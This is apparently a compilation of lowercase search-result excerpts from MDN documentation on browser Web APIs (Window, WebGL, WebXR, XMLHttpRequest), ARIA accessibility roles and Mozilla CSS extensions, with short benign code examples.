... margin : auto; padding : 0; border : none; background-color : black; } window.addeventlistener("load", function() { "use strict" var firstcanvas = document.getelementsbytagname("canvas")[0], secondcanvas = document.getelementsbytagname("canvas")[1]; firstcanvas.width = firstcanvas.clientwidth; firstcanvas.height = firstcanvas.clientheight; [firstcanvas, secondcanvas].foreach(function(canvas) { var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { document.queryselector("p").innerhtml = "failed to get webgl context.
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
support for webgl is present in firefox 4+, google chrome 9+, opera 12+, safari 5.1+, internet explorer 11+, and microsoft edge build 10240+; however, the user's device must also have hardware that supports these features.
... the webgl 2 api introduces support for much of the opengl es 3.0 feature set; it's provided through the webgl2renderingcontext interface.
...ture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context events webglcontextlost webglcontextrestored webglcontextcreationerror constants and types webgl constants webgl types webgl 2 webgl 2 is a major update to webgl which is provided through the webgl2renderingcontext interface.
High-level guides - Web APIs
webrtc (web real-time communications) is a broad, multi-component system for setting up and operating complex audio, video, and data channels across networks among two or more peers on the web.
... the high-level guides listed below introduce webrtc technology from a top-down perspective, describing the overall architecture, the life cycle of a webrtc connection, and basic security and technological issues you might run into as you explore and build web content or apps using the webrtc api.
... in addition, you'll find suggestions as to tools, libraries, and frameworks that might be helpful and compatibility information so you know which parts of the overall suite of webrtc features can be safely used given your target audience.
Targeting and hit detection - Web APIs
virtual object hit testing detection of collisions with virtual objects usually doesn't actually involve testing for intersection of the ray with one of the scene's polygons, as a typical scene may have hundreds or thousands of polygons, which makes direct tracing of rays to polygons impractical in most cases.
... testing for collisions with the real world is a different problem, which may involve not only interpreting the imagery from the device's camera (if available) but also potentially multiple additional sensors.
... some devices include infrared sensors to help range objects, and others provide powerful lidar systems, which use lasers (usually infrared lasers, which can't be seen by the human eye) to determine range to objects in the world.
Window.captureEvents() - Web APIs
syntax window.captureevents(eventtype) eventtype is a combination of the following values: event.abort, event.blur, event.click, event.change, event.dblclick, event.dragddrop, event.error, event.focus, event.keydown, event.keypress, event.keyup, event.load, event.mousedown, event.mousemove, event.mouseout, event.mouseover, event.mouseup, event.move, event.reset, event.resize, event.select, event.submit, event.unload.
...--> <script> function reg() { window.captureevents(event.click); window.onclick = page_click; } function page_click() { alert('page click event detected!'); } </script> </head> <body onload="reg();"> <p>click anywhere on this page.</p> </body> </html> notes events raised in the dom by user activity (such as clicking buttons or shifting focus away from the current document) generally pass through the high-level window and document objects first before arriving at the object that initiated the event.
... when you call the captureevents() method on the window, events of the type you specify (for example, event.click) no longer pass through to "lower" objects in the hierarchy.
Window.controllers - Web APIs
the controllers property of the window interface returns the xul controllers of the chrome window.
... chrome code can add controllers (to be used in conjunction with the godocommand and goupdatecommand functions in globaloverlay.js).
... each missing removal can cause bug 415775: assertion: xpconnect is being called on a scope without a 'components' property!
Window.frames - Web APIs
WebAPIWindowframes
returns the window itself, which is an array-like object, listing the direct sub-frames of the current window.
... each item in the window.frames pseudo-array represents the window object corresponding to the given <frame>'s or <iframe>'s content, not the (i)frame dom element (i.e., window.frames[0] is the same thing as document.getelementsbytagname("iframe")[0].contentwindow).
... example var frames = window.frames; // or // var frames = window.parent.frames; for (var i = 0; i < frames.length; i++) { // do something with each subframe as frames[i] frames[i].document.body.style.background = "red"; } specifications specification status comment html living standardthe definition of 'window.frames' in that specification.
Window.fullScreen - Web APIs
WebAPIWindowfullScreen
syntax isinfullscreen = windowref.fullscreen; with chrome privileges, the property is read-write, otherwise it is read-only.
... bear in mind that if you try to set this property without chrome privileges, it will not throw an exception and instead just silently fail.
... notes switching between regular window and full screen will fire the "resize" event on the corresponding window.
Window.getDefaultComputedStyle() - Web APIs
syntax var style = window.getdefaultcomputedstyle(element [, pseudoelt]); parameters element the element for which to get the computed style.
... pseudoelt optional a string specifying the pseudo-element to match.
...see http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ and http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/ for details of the examples of how this is implemented.
Window.innerHeight - Web APIs
to change the width of the window, call one of its resize methods, such as resizeto() or resizeby().
... both innerheight and innerwidth are available on any window or any object that behaves like a window, such as a tab or frame.
....innerheight; // or var intframeheight = self.innerheight; // will return the height of the frame viewport within the frameset var intframesetheight = parent.innerheight; // will return the height of the viewport of the closest frameset var intouterframesetheight = top.innerheight; // will return the height of the viewport of the outermost frameset fixme: link to an interactive demo here to change the size of a window, see window.resizeby() and window.resizeto().
Window: load event - Web APIs
WebAPIWindowload event
the load event is fired when the whole page has loaded, including all dependent resources such as stylesheets and images.
... this is in contrast to domcontentloaded, which is fired as soon as the page dom has been loaded, without waiting for resources to finish loading.
...} js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment ui eventsthe definition of 'load' in that specification.
Window.localStorage - Web APIs
the keys and the values are always in the utf-16 domstring format, which uses two bytes per character.
... syntax mystorage = window.localstorage; value a storage object which can be used to access the current origin's local storage space.
... exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if the origin uses the file: or data: scheme, for example).
Window.minimize() - Web APIs
WebAPIWindowminimize
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetminimize non-standardchrome no support noedge no support nofirefox no support noie ?
... webview android no support nochrome android no support nofirefox android no support noopera android ?
Window.mozAnimationStartTime - Web APIs
returns the time, in milliseconds since the epoch, at which animations started now should be considered to have started.
... this also allows javascript-based animations to remain synchronized with css transitions and smil animations triggered during the same refresh interval.
... syntax time = window.mozanimationstarttime; parameters time is the time in milliseconds since the epoch at which animations for the current window should be considered to have started.
Window.navigator - Web APIs
WebAPIWindownavigator
the window.navigator read-only property returns a reference to the navigator object, which has methods and properties about the application running the script.
... if (susrag.indexof("firefox") > -1) { sbrowser = "mozilla firefox"; // "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:61.0) gecko/20100101 firefox/61.0" } else if (susrag.indexof("samsungbrowser") > -1) { sbrowser = "samsung internet"; // "mozilla/5.0 (linux; android 9; samsung sm-g955f build/ppr1.180610.011) applewebkit/537.36 (khtml, like gecko) samsungbrowser/9.4 chrome/67.0.3396.87 mobile safari/537.36 } else if (susrag.indexof("opera") > -1 || susrag.indexof("opr") > -1) { sbrowser = "opera"; // "mozilla/5.0 (macintosh; intel mac os x 10_14_0) applewebkit/537.36 (khtml, like gecko) chrome/70.0.3538.102 safari/537.36 opr/57.0.3098.106" } else if (susrag.indexof("trident") > -1) { sbrowser = "microsoft internet explorer"; // "mozilla/5.0 (windows nt ...
...10.0; wow64; trident/7.0; .net4.0c; .net4.0e; zoom 3.6.0; wbx 1.0.0; rv:11.0) like gecko" } else if (susrag.indexof("edge") > -1) { sbrowser = "microsoft edge"; // "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/58.0.3029.110 safari/537.36 edge/16.16299" } else if (susrag.indexof("chrome") > -1) { sbrowser = "google chrome or chromium"; // "mozilla/5.0 (x11; linux x86_64) applewebkit/537.36 (khtml, like gecko) ubuntu chromium/66.0.3359.181 chrome/66.0.3359.181 safari/537.36" } else if (susrag.indexof("safari") > -1) { sbrowser = "apple safari"; // "mozilla/5.0 (iphone; cpu iphone os 11_4 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/11.0 mobile/15e148 safari/604.1 980x1306" } else { sbrowser = "unknown"; } alert("you a...
Window.personalbar - Web APIs
syntax objref =window.personalbar example fixme: https://bugzilla.mozilla.org/show_bug.cgi?id=790023 the following complete html example shows the way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.personalbar.visible = !window.personalbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
... also be aware that dynamically updating the visibilty of the various toolbars can change the size of the window rather dramatically, and may affect the layout of your page.
Window.print() - Web APIs
WebAPIWindowprint
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprintchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 5opera full support 6notes full support 6notes notes starting with opera 33, this method...
...nless its sandbox attribute has the value allow-modals.safari full support 1.1webview android full support 1notes full support 1notes notes starting with webview 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.chrome android full support 18notes full support 18notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.firefox android no support nonotes no support ...
Window.restore() - Web APIs
WebAPIWindowrestore
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrestorechrome no support noedge no support nofirefox no support noie ?
... webview android no support nochrome android no support nofirefox android no support noopera android ?
Window.scroll() - Web APIs
WebAPIWindowscroll
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3safari full support 1webview android full support 1chrome android full support 18firefox android full support 4opera android ...
... full support 10.1safari ios full support 1samsung internet android full support 1.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full support 32safari no support nowebview android full support 45chrome android full support 45firefox android ...
Window.scrollX - Web APIs
WebAPIWindowscrollX
in more technical terms, scrollx returns the x coordinate of the left edge of the current viewport.
... example this example checks the current horizontal scroll position of the document.
...additionally, older versions of internet explorer (< 9) do not support either property and must be worked around by checking other non-standard properties.
Window.scrollY - Web APIs
WebAPIWindowscrollY
in more technical terms, scrolly returns the y coordinate of the top edge of the current viewport.
...} window.scrollbypages(1); notes use this property to check that the document hasn't already been scrolled when using relative scroll functions such as scrollby(), scrollbylines(), or scrollbypages().
...additionally, older versions of internet explorer (< 9) do not support either property and must be worked around by checking other non-standard properties.
Window.statusbar - Web APIs
WebAPIWindowstatusbar
syntax objref = window.statusbar example the following complete html example shows a way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.statusbar.visible=!window.statusbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
... also be aware that dynamically updating the visibilty of the various toolbars can change the size of the window rather dramatically, and may affect the layout of your page.
Window.toolbar - Web APIs
WebAPIWindowtoolbar
syntax objref = window.toolbar example the following complete html example shows way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.toolbar.visible=!window.toolbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
... also be aware that dynamically updating the visibilty of the various toolbars can change the size of the window rather dramatically, and may affect the layout of your page.
Window: unload event - Web APIs
the unload event is fired when the document or a child resource is being unloaded.
...beforeunload (cancelable event) pagehide the document is in the following state: all the resources still exist (img, iframe etc.) nothing is visible anymore to the end user ui interactions are ineffective (window.open, alert, confirm, etc.) an error won't stop the unloading workflow please note that the unload event also follows the document tree: parent frame unload will happen before child frame unload (see example below).
... examples <!doctype html> <html> <head> <title>parent frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 1st one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 3rd one.'); }); </script> </head> <body> <iframe src="child-frame.html"></iframe> </body> </html> below, the content of child-frame.html: <!doctype html> <html> <head> <title>child frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 2nd one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 4th and last one…'); }); </script> </head> <body> ...
Window.window - Web APIs
WebAPIWindowwindow
yet another reason to use this property, is for libraries which wish to offer oop-versions, and non-oop versions (especially javascript modules).
... for example, if we refer to "this.window.location.href", a javascript module could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) which could be created after passing in a window object to the module class' constructor.
...another advantage, is that the objects of such a class (even if the class were defined outside of a module) could change their reference to the window at will, they would not be able to do this if they had hard-coded a reference to "window".
WindowEventHandlers.onbeforeprint - Web APIs
the beforeprint and afterprint events allow pages to change their content before printing starts (perhaps to remove a banner, for example) and then revert those changes after printing has completed.
...}; polyfill safari does not implement these events, but you can create an equivalent result to the beforeprint event with window.matchmedia('print').
... var mediaquerylist = window.matchmedia('print'); mediaquerylist.addlistener(function(mql) { if(mql.matches) { console.log('webkit equivalent of onbeforeprint'); } }); specification specification status comment html living standardthe definition of 'onbeforeprint' in that specification.
WindowEventHandlers.onstorage - Web APIs
the storage event fires when a storage area has been changed in the context of another document.
... example this example logs the value for a storage key whenever it changes in another document.
... window.onstorage = function(e) { console.log('the ' + e.key + ' key has been changed from ' + e.oldvalue + ' to ' + e.newvalue + '.'); }; specifications specification status comment html living standardthe definition of 'onstorage' in that specification.
WorkerGlobalScope.location - Web APIs
example if you called the following in a document served at localhost:8000 console.log(location); inside a worker (which would basically be the equivalent of self.console.log(self.location);, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), you will get a workerlocation object written to the console — something like the following: workerlocation {hash: "", search: "", pathname: "/worker.js", port: "8000", hostname: "localhost"…} hash: "" host: "localhost:...
...8000" hostname: "localhost" href: "http://localhost:8000/worker.js" origin: "http://localhost:8000" pathname: "/worker.js" port: "8000" protocol: "http:" search: "" __proto__: workerlocation you could use this location object to return more information about the document's location, as you might do with a normal location object.
... note: firefox has a bug with using console.log inside shared/service workers (see bug 1058644), which may return strange results, but this should be fixed soon.
WorkerLocation - Web APIs
such an object is initialized for each worker and is available via the workerglobalscope.location property obtained by calling self.location.
... urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the url of the script executed in the worker, including the final ':'.
... urlutilsreadonly.search read only is a domstring containing a '?' followed by the parameters of the url of the script executed in the worker.
XDomainRequest - Web APIs
syntax var xdr = new xdomainrequest(); returns a new xdomainrequest object, which can then be used to make and manage these requests.
... the origin's security protocol must match that of the requested url.
...if these do not match, the request will error "access is denied".
XMLDocument.async - Web APIs
WebAPIXMLDocumentasync
document.async can be set to indicate whether a xmldocument.load() call should be an asynchronous or synchronous request.
... true is the default value, indicating that documents should be loaded asynchronously.
... (it has been possible to load documents synchronously since 1.4 alpha.) example function loadxmldata(e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } var xmldoc = document.implementation.createdocument("", "test", null); xmldoc.async = false; xmldoc.onload = loadxmldata; xmldoc.load('querydata.xml'); ...
XMLDocument.load() - Web APIs
WebAPIXMLDocumentload
can be used with document.async to indicate whether the request is synchronous or asynchronous (the default).
... as of at least gecko 1.9, this no longer supports cross-site loading of documents (use xmlhttprequest or fetch() instead).
...(to test this functionality, create the files on your local disk or on a webserver rather than loading the load.html file from the lxr-generated page, which will serve the text.xml file as html.) specifications old w3c working draft of the dom level 3 load & save module ...
XMLHttpRequestEventTarget - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="...
...12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties xmlhttprequesteventtarget.onabort contains the function to call when a request is aborted and the abort event is received by this object.
... xmlhttprequesteventtarget.onload contains the function to call when an http request returns after successfully fetching content and the load event is received by this object.
XRFrame - Web APIs
WebAPIXRFrame
events which communicate the tracking state of objects also provide an xrframe reference as part of their structure.
... in addition to providing a reference to the xrsession for which this frame is to be rendered, the getviewerpose() method is provided to obtain the xrviewerpose describing the viewer's position and orientation in space, and getpose() can be used to create an xrpose describing the relative position of one xrspace relative to another.
... properties session read only the xrsession that for which this xrframe describes the tracking details for all objects.
XRInputSourceArray.length - Web APIs
examples in this example, a game that requires at least one input source uses length to check this before proceeding to allow the user to play the game.
...r to play super duper shark jump fest 9000.", [ { label: "shop now", url: "https://www.amazon.com/s?k=vr+controllers" }, { label: "quit" handler: quitgame } ]); } here, if length is 0, a hypothetical showalertdialog() function is called with a prompt string explaining the need for a controller, and an array of objects, each describing a button and what should happen when it's clicked.
... the first takes the user to an amazon.com search for vr controllers, and the second calls a quitgame() function to start shutting the game program down.
XRInputSourceEvent.inputSource - Web APIs
the xrinputsourceevent interface's read-only inputsource property specifies the xrinputsource which generated the input event.
...this event indicates an action the user has taken using a webxr input controller, such as a hand controller, motion sensing device, or other input apparatus.
... example the snippet below shows a handler for the select event which looks specifically for events which happen on gaze input devices.
XRPermissionStatus - Web APIs
the xrpermissionstatus interface defines the object returned by calling navigator.permissions.query() for the xr permission name; it indicates whether or not the app or site has permission to use webxr, an may be monitored over time for changes to that permissions tate.
... granted an array of strings listing the names of the features for which permission has been granted as of the time at which navigator.permissions.query() was called.
... any feature which was specified in either the optionalfeatures or requiredfeatures when calling navigator.permissions.query() are listed in granted if and only if permission to use them is granted.
XRRenderStateInit - Web APIs
the xrrenderstateinit dictionary is a writeable version of the xrrenderstate interface, and is used when calling an xrsession's updaterenderstate() method to apply changes to the render state prior to rendering the next frame.
... properties baselayer optional an xrwebgllayer object from which the webxr compositor will obtain imagery.
... depthfar optional a floating-point value specifying the distance in meters from the viewer to the far clip plane, which is a plane parallel to the display surface beyond which no further rendering will occur.
XRRigidTransform.inverse - Web APIs
the read-only inverse property of the xrrigidtransform interface returns another xrrigidtransform object which is the inverse of its owning transform.
... syntax let transforminverse = xrrigidtransform.inverse; value an xrrigidtransform which contains the inverse of the xrrigidtransform on which it's accessed.
...the inverse's matrix is multiplied by the object's matrix to get the model view matrix, which is then passed into the shader program by setting a uniform to contain that information.
XRSession.onselect - Web APIs
the onselect property of the xrsession object is the event handler for the select event, which is dispatched when a primary action is completed successfully by the user.
... the select event is sent after tracking of the primary action begins, as announced by the selectstart event, and immediately before the tracking of the primary action ends, which is announced by the selectend event.
... example this example handles select event which occur on the user's main hand (as given by a user object's handedness property); if that value matches the value of the xrinputsource property handedness, we know that the device is held in the user's main hand.
XRSession.renderState - Web APIs
the read-only renderstate property of an xrsession object indicates the returns a xrrenderstate object describing how the user's environment which should be rendered.
... the information provided covers the minimum and maximum distance at which to render objects, the vertical field of view to use when rendering the in the inline session mode, and the xrwebgllayer to render into for inline composition.
... while this property is read only, you can call the xrsession method updaterenderstate() to make changes.
XRSession.visibilityState - Web APIs
every time the visibility state changes, a visibilitychange event is fired on the xrsession object.
... the possible values of visibilitystate are: hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimationframe() callbacks are not being executed until thevisibilitystate changes.
... usage notes it's important to keep in mind that because an immersive webxr session is potentially being shown using a different display than the html document in which it's running (such as when being shown on a headset), the value of a session's visibilitystate may not necessarily be the same as the owning document's visibilitystate.
XRSessionEvent.session - Web APIs
the read-only xrsessionevent interface's session property indicates which xrsession the event is about.
... syntax xrsession = xrsessionevent.session; value an xrsession object indicating which webxr session the event refers to.
... xrsession.addeventlistener("visibilitychange", e => { switch(e.session.visibilitystate) { case "hidden": myenablerendering(true); break; case "visible": case "visible-blurred": myenablerendering(false); break; } }); this calls a function that reacts to the session's visibility state change.
XRSessionInit - Web APIs
optionalfeatures optional an array of values identifying features which the returned xrsession may optionally support.
... requiredfeatures optional an array of values which the returned xrsession must support.
... security requirements each reference space or feature type has minimum safety requirements.
XRSystem: isSessionSupported() - Web APIs
the xrsystem method issessionsupported() returns a promise which resolves to true if the specified webxr session mode is supported by the user's webxr device.
... syntax var issupportedpromise = xr.issessionsupported(xrsessionmode) parameters xrsessionmode a domstring specifying the webxr session mode for which support is to be checked.
... examples in this example, we see issessionsupported() used to detect whether or not the device supports vr mode by checking to see if an immersive-vr session is supported.
XRViewport - Web APIs
thus the values specified in an xrviewport define a rectangle whose bottom-left corner is at (x, y) and which extends width pixels toward the left and height pixels upward.
...after initial setup, it iterates over each of the views within the viewer's pose, configuring the viewport as dictated by the xrwebgllayer.
... xrsession.requestanimationframe((time, xrframe) => { let viewerpose = xrframe.getviewerpose(xrreferencespace); gl.bindframebuffer(xrwebgllayer.framebuffer); for (xrview of viewerpose.views) { let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); // now we can use webgl to draw into a viewport matching // the viewer's needs } }); specifications specification status comment webxr device apithe definition of 'xrviewport' in that specification.
XRWebGLLayerInit.stencil - Web APIs
the stencil buffer is an optional buffer which, just like the depth buffer, contains one entry for every pixel in the frame buffer.
...you can store values into each entry in the stencil bufer, then specify an operation that determines which stencil buffer values correspond to pixels which should be drawn to the screen during each frame.
... syntax let layerinit = { stencil: false }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { stencil: false }); value a boolean which can be set to false to specify that the new webgl layer should not include a stencil buffer.
msWriteProfilerMark - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... notes mswriteprofilermark enables you to inject dom based performance markers in addition to existing javascript api to learn exactly when parts of the page are being rendered, building a waterfall view for every one of our impressions showing latency per object, which can be useful for more accurately debugging real users perf issues.
... the bstrprofilermarkname property has a 32-character limit when called from script.
msthumbnailclick - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... syntax event property object.onmsthumbnailclick = handler; addeventlistener method object.addeventlistener("msthumbnailclick", handler, usecapture) general info synchronous no bubbles no cancelable no note the onmsthumbnailclick event is available only to documents that are launched from a pinned site shortcut.
...r specific events on your site from the taskbar // add an event handlerdocument.addeventlistener('msthumbnailclick', onbuttonclicked, false); // add the buttons var btnplay = window.external.mssitemodeaddthumbbarbutton(iconuri, tooltip); // refresh the taskbar window.external.mssitemodeshowthumbbar(); // call a javascript function when the button is pressed function onbuttonclicked(e) { switch (e.buttonid) { case btnplay: play(); break;} } see also microsoft api extensions ...
Using the aria-label attribute - Accessibility
value string possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique.
...since there is nothing indicating that the purpose of the button is to close the dialog, the aria-label attribute is used to provide the label to any assistive technologies.
... used by aria roles all elements of the base markup related aria techniques using the aria-labelledby attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-label ...
Using the aria-relevant attribute - Accessibility
the aria-relevant attribute is an optional value used to describe what types of changes have occurred to an aria-live region, and which are relevant and should be announced.
... any change that is not relevant acts in the same manner it would if the aria-live attribute were set to off.
... text are changes to the textual content of existing nodes; should be considered relevant.
Using the radio role - Accessibility
description this technique demonstrates how to use the radio role and describes the effect it has on browsers and assistive technology.
... possible effects on user agents and assistive technology note: opinons may differ on how assistive technology should handle this technique.
... <h3 id="rg1_label">lunch options</h3> <ul class="radiogroup" id="rg1" role="radiogroup" aria-labelledby="rg1_label"> <li id="r1" tabindex="-1" role="radio" aria-checked="false"> <img role="presentation" src="radio-unchecked.gif" /> thai </li> <li id="r2" tabindex="-1" role="radio" aria-checked="false"> <img role="presentation" src="radio-unchecked.gif" /> subway </li> <li id="r3" tabindex="0" role="radio" aria-checked="true"> <img role="presentation" src="radio-checked.gif" /> radio maria </li> </ul> working examples: notes aria attributes used related aria techniques compatibility tbd: add support infor...
Using the toolbar role - Accessibility
description this technique demonstrates how to use the toolbar role and describes the effect it has on browsers and assistive technology.
... possible effects on user agents and assistive technology note: opinons may differ on how assistive technology should handle this technique.
... examples example 1: code working examples: w3c toolbar example notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources ...
x-ms-aria-flowfrom - Accessibility
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the x-ms-aria-flowfrom property specifies the id of the previous element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order.
... syntax x-ms-aria-flowfrom="elementid"; value the x-ms-aria-flowfrom property value uses an id selector to define which previous element the reading order will flow from.
ARIA: tabpanel role - Accessibility
added benefits any additional benefits this feature has for non-typical screen reader users, like google or mobile speech recognition.
... specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'tabpanel' in that specification.
... working draft precedence order what are the related properties, and in what order will this attribute or property be read (which property will take precendence over this one, and which property will be overwritten.
ARIA: Mark role - Accessibility
<p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> the related comment is marked up using an html structure wrapped with a <div> containing role="comment".
... to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details attribute, the value of which should be the id of the comment.
... specifications will be part of wai-aria 1.3, which is still being drafted.
-moz-user-input - CSS: Cascading Style Sheets
/* keyword values */ -moz-user-input: none; -moz-user-input: enabled; -moz-user-input: disabled; /* global values */ -moz-user-input: inherit; -moz-user-input: initial; -moz-user-input: unset; for elements that normally take user input, such as a <textarea>, the initial value of -moz-user-input is enabled.
... note: -moz-user-input was one of the proposals leading to the proposed css 3 user-input property, which has not yet reached candidate recommendation (call for implementations).
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none | enabled | disabled examples disabling user input for an element input.example { /* the user will be able to select the text, but not change it.
-webkit-border-before - CSS: Cascading Style Sheets
it relates to -webkit-border-after, -webkit-border-start, and -webkit-border-end, which define the other borders of the element.
... syntax values one or more of the following, in any order: <'border-width'> see border-width <'border-style'> see border-style <'color'> see color formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritedyespercentagesas each of the properties of the shorthand:-webkit-border-before-width: logical-width of containing blockcom...
...puted valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is none or hiddenborder-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-style: as each of the properties of the shorthand:border-bottom-style: as specifiedborder-left-style: as specifiedborder-right-style: as specifiedborder-top-style: as specifiedcolor: if the value is translucent, the computed value will be the rgba() corresponding one.
:-moz-focusring - CSS: Cascading Style Sheets
the :-moz-focusring css pseudo-class is a mozilla extension that is similar to the :focus pseudo-class, but it only matches an element if it's currently focused and a focus ring or other indicator should be drawn around it.
... if :-moz-focusring matches, then :focus also matches, but the converse is not always true: it depends on whether the user agent has focus ring drawing enabled and how the element was focused.
...it is also potentially useful if you are creating a custom element and you want to change its style based on its behavior.
:-moz-last-node - CSS: Cascading Style Sheets
the :-moz-last-node css pseudo-class is a mozilla extension that represents any element that is the last child node of some other element.
... it differs from :last-child because it does not match a last-child element with (non-whitespace) text after it.
... syntax :-moz-last-node examples css span:-moz-last-node { background-color: lime; } html <p> <span>this does not match.</span> <span>this matches!</span> </p> <p> <span>this doesn't match because it's followed by text.</span> blahblah.
:-moz-only-whitespace - CSS: Cascading Style Sheets
note: in selectors level 4 the :empty selector was changed to act like :-moz-only-whitespace, but no browser currently supports this yet.
... the :-moz-only-whitespace css pseudo-class matches elements that only contains text nodes that only contain whitespace.
... (this includes elements with empty text nodes and elements with no child nodes.) syntax syntax not found in db!
:-moz-ui-valid - CSS: Cascading Style Sheets
